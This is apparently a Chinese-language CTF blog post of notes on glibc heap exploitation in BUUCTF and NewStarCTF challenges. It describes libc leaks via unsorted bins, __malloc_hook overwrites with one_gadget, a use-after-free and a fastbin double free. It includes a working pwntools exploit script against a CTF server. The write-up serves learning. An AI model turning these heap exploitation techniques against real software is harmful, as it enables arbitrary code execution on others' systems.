Glibc Heap Exploit 坐牢笔记 - 0x03
Glibc Heap Exploit 坐牢笔记 - 0x03
Pre
期末周一直没有更,也没有学heap,寒假开始坐牢。 2024年首更。(除了那个XorHack那个算是补更) 0x01,0x02都是在理论层面进行的笔记,这篇以实践为重,内容也是最近做的题目。 老样子,不打算详解,只记录细节之类的。
Main
[BUUCTF]??????
???1
漏洞在edit函数里面存在堆溢出,因为写入的长度可以任意。 先开辟几个chunk,记为chunk1 chun2 … … 最后肯定是要修改并调用__malloc_hook或者free_hook的。因此我们肯定要在hook那里开辟chunk并且写入。 因此我们先用edit函数修改chunk3的大小超过fastbin大小范围,之后再free掉chunk3,之后用edit函数溢出修改chunk2的size,让chunk2的size能够覆盖到chunk3,之后进行输出就能输出chunk3在free之后,chunk内的fd,bk的值,也就是main_arena的附近固定偏移的地方,而且main_arena的相对libc基址的偏移也是个定值,因此我们此时就可以泄露出libc 基址。 下面就是在那里创建chunk了。 我们把chunk3的fd的地址改为hook附近合适的大小,发现有0x7f,满足条件。 这时候声明一个大小为0x60的chunk,这时候chunk就会在hook旁边了,我们直接修改hook的内容为one_gadget之后创建这个chunk就可以getshell了。 注:calloc函数创建堆块的时候会把堆块的内容清空。虽然这对本题没有什么大影响 但是离谱的是本地打不通,但是远程能打通,即使是换了libc。估计是ld的问题。。。
???2
首先alloc几个0x100大chunk,此时标记为used,free一个其他的chunk,把他的fd改为0x100的大chunk地址,这时候alloc一个0x100的chunk,这时候,一个chunk,列表中的记录就会有两条都是used,我们先把unsworted bin清空,再利用其中一条记录free掉来使他进入unsorted bin,再用另一条used的记录输出chunk的内容,就能得到fd和bk指向的main_arena的附近了。之后就计算出来libc基址了。 之后的思路差不多。。。 。。。
[NewStarCTF-Week4] ezheap
还是正常heap堆题会干的事,注意到delete之后没有把chunk标记为已经free的状态,因此free之后再show就可以通过泄露main_arena附近的unsorted bin链表的地址来泄露libc基址。此外,edit函数也没有对chun k的状态进行有效的检查,因此,即使是已经free的chunk依旧能够修改内容。我们直接修改unsorted bin里面的chunk的fd为hook附近的地址,在申请chunk,就能修改chunk内部的hook内容,从而调用free或者malloc就可以getshell了。 感觉这题和上一题差不多。就是少了heap是否使用的标志
[NewStarCTF-Week4]Double
目标是把bss上面一个变量数值修改为0x666,打算在那里开一个chunk在ad的时候写入数值。 问题就是如何在那里构造chunk。直接double free 先alloc两个chunk,先free第一个,再free第二个,再free第一个,此时fastbin就是 chunk1->chunk2->chunk1,这时候就相当于我们有两条记录chunk1为free的记录。我们先alloc一个chunk,使用的是原来的chunk1(链表里面最左边的那个chunk1,不是右边那个),并且写入bss数值的位置,但是由于还有一条记录记录着他在free状态,于是这里写入的地址就是充当着fd的作用,此时fastbin就相当于chunk2->chunk1->bss_chunk0。我们再alloc 2个chunk,再alloc的chunk就是bss那里的chunk了。此时由于init函数在变量前面位置写入了0x31,正好当作chunk的size部分,于是我们直接写入0x666就可以把check的变量覆盖为getshell的数值。 Exp:
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './Double'
p=remote('node5.buuoj.cn',28896)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./Double')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
def add(idx, s):
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Input idx\n", str(idx))
p.sendafter(b"Input content", s)
def free(idx):
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Input idx\n", str(idx))
add(0,"a")
add(1,"a")
free(0)
free(1)
free(0)
add(2,p64(0x602060))
add(3,"a")
add(4,"b")
add(5,p64(0x666))
p.interactive()
[NewStarCTF-Week5]Planet
好吧,这个不是堆,但是懒得再单独开一个文章了。 主要的难点就是password进行了随机化排序,我们只要在本地进行排序也可以得到结果,只要你的PC够快,而且网络够好。
End
好,今日坐牢结束!nicaiwoweishenmobufangchulaiexpsofsomeproblems,huaji